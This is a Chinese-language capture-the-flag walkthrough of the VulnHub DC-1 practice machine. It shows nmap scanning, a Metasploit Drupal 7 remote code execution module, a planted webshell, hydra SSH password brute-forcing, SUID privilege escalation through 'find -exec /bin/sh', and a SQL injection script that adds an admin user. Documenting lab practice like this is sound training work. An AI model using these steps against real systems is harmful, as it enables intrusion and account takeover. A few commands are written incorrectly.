DC-1 靶机渗透
阅读原文时间:2022年04月06日阅读:1

DC-1 靶机渗透

*概况*

下载地址

https://www.vulnhub.com/entry/dc-1,292/

*官方描述:*

DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.

It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.

To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS.

There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.

There are five flags in total, but the ultimate goal is to find and read the flag in root's home directory. You don't even need to be root to do this, however, you will require root privileges.

Depending on your skill level, you may be able to skip finding most of these flags and go straight for root.

Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.

*首先将kali和靶机都连接成NAT模式,然后开启靶机,就是上图所示。*

*前提思路*

*我拿到这个靶机的时候,知道了要拿五个flag,然后需要拿到最高权限。我并不知道IP,但我可以在虚拟机中查看他的mac地址。如下图:*

00:0C:29:CF:22:14

*信息收集*

*用nmap -sP 参数 ping命令去扫描与kali同网段的* *存活主机。*

​ nmap -sP 192.168.161.0/24 -oN nmap.sP

*与Mac地址相对应获得ip地址:==**192.168.161.162**==*

*端口扫描*

*使用全端口扫描显示详细信息,**TCP连接扫描**并开启脚本* *功能。*

*nmap -A -p- -sC -T4 -sT 192.168.161.162 -oN nmap.A*

*端口详情*

*22/tcp*

*open*

*ssh*

*OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)*

*80/tcp*

*open*

*http*

*Apache httpd 2.2.22 ((Debian))*

*111/tcp*

*open*

*rpcbind*

*2-4 (RPC #100000)*

*39284*_*/tcp*_

*open*

*status*

*1 (RPC #100024)*

*网站信息*

*既然开放了80端口,那么就访问一下网站。*

*网站首页:*

*获取web应用指纹以及技术架构:*

*得到信息*

*CMS: drupal 7 中间件:Apache*

*编程语言: php OS:linux*

*漏洞映射*

*既然知道了cms是drupal 7,那么可以查一下相关漏洞。*

*在kali漏洞库中寻找。*

*Searchsploit drupal 7*

*发现存在sql注入,和远程代码执行漏洞。并且rce漏洞的exp模块是rb脚本,所以可以考虑用msf。*

*在msf中搜索漏洞裤:search drupal 7*

*使用最新exp:use 1*

*Show option :查看参数*

*设置rhost : set rhost (kali的IP)*

*Run:开始攻击*

*这时候成功上线,getuid:查看当前用户*

*然后我想写一个一句话木马,用蚁剑连接,好翻目录。*

*连接成功*

*在www目录下获取flag1*

*在/etc/passwd 中看系统用户*

*发现存在flag4用并且在home下*

*在home目录下发现flag4*

*然后提示有config文件,所以就在网上查了一下drupal的默认配置文件路径*

*/var/www/sites/default/settings.php*

*接着发现了flag2和数据库账号密码。*

*然后就打算连接一下数据库。*

*在user表中发现账号密码,但是密码加了密,而且也不知道是什么加密方式,所以数据库这里就先放下了。*

*那么既然有flag4用户并开了ssh,所以尝试ssh爆破。*

*使用九头蛇爆破:*

*hydra -l flag4 -P /usr/share/john/password.lst ssh://192.168.161.162 -vV*

*-l:指定用户名 -P:指定密码字典*

*-vV:显示详细*

*得到密码为orange*

*然后ssh连接登陆成功。*

· *获取root 权限*

*提权思路*

· *利用系统内核漏洞提权*

· *sudo 权限泄露*

· *利用SUID 提权*

*这里使用suid提权,我就简单介绍一下:*

SUID是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行。

SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限(仅对拥有执行权限的二进制程序有效)。例如,所有用户都可以执行passwd命令来修改自己的用户密码,而用户密码保存在/etc/shadow文件中。仔细查看这个文件就会发现它的默认权限是000,也就是说除了root管理员以外,所有用户都没有查看或编辑该文件的权限。但是,在使用passwd命令时如果加上SUID特殊权限位,就可让普通用户临时获得程序所有者的身份,把变更的密码信息写入到shadow文件中。这很像我们在古装剧中见到的手持尚方宝剑的钦差大臣,他手持的尚方宝剑代表的是皇上的权威,因此可以惩戒贪官,但这并不意味着他永久成为了皇上。因此这只是一种有条件的、临时的特殊权限授权方法。

*首先寻找一下根目录下具有s权限的命令:*

*find / -perm -4000 2>/dev/null*

/bin/mount

/bin/ping

/bin/su

/bin/ping6

/bin/umount

/usr/bin/at

/usr/bin/chsh

/usr/bin/passwd

/usr/bin/newgrp

/usr/bin/chfn

/usr/bin/gpasswd

/usr/bin/procmail

/usr/bin/find

/usr/sbin/exim4

/usr/lib/pt_chown

/usr/lib/openssh/ssh-keysign

/usr/lib/eject/dmcrypt-get-device

/usr/lib/dbus-1.0/dbus-daemon-launch-helper

/sbin/mount.nfs

*然后使用find命令提权:*

*使用方法* *find (一个路径或文件必须存在) -exec 执行命令 (结束);*

*find ray -exec '/bin/sh' ;*

*提权成功。然后在root文件夹中找到flag5*

*这时候还差一个flag3,然后可以利用一下sql注入漏洞,增加一个用户。*

*到达指定的sqlexp路径。*

Cd /usr/share/exploitdb/exploits/php/webapps/34992.py

*查看使用方法* searchsploit -m 34992

*python 34992.py -t http://***__***192.168.161.163***_ *-u*_ *123* *-p* *123***

*新增用户名123,密码123。*

*成功登陆网站,然后随便翻一下即可找到flag3*

*这时,我们已经拿到了五个flag和root权限。*

*总结:这次渗透主要是想练习一下渗透测试的一些思路,若有不足的地方请大佬们多多指导,谢谢!*

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章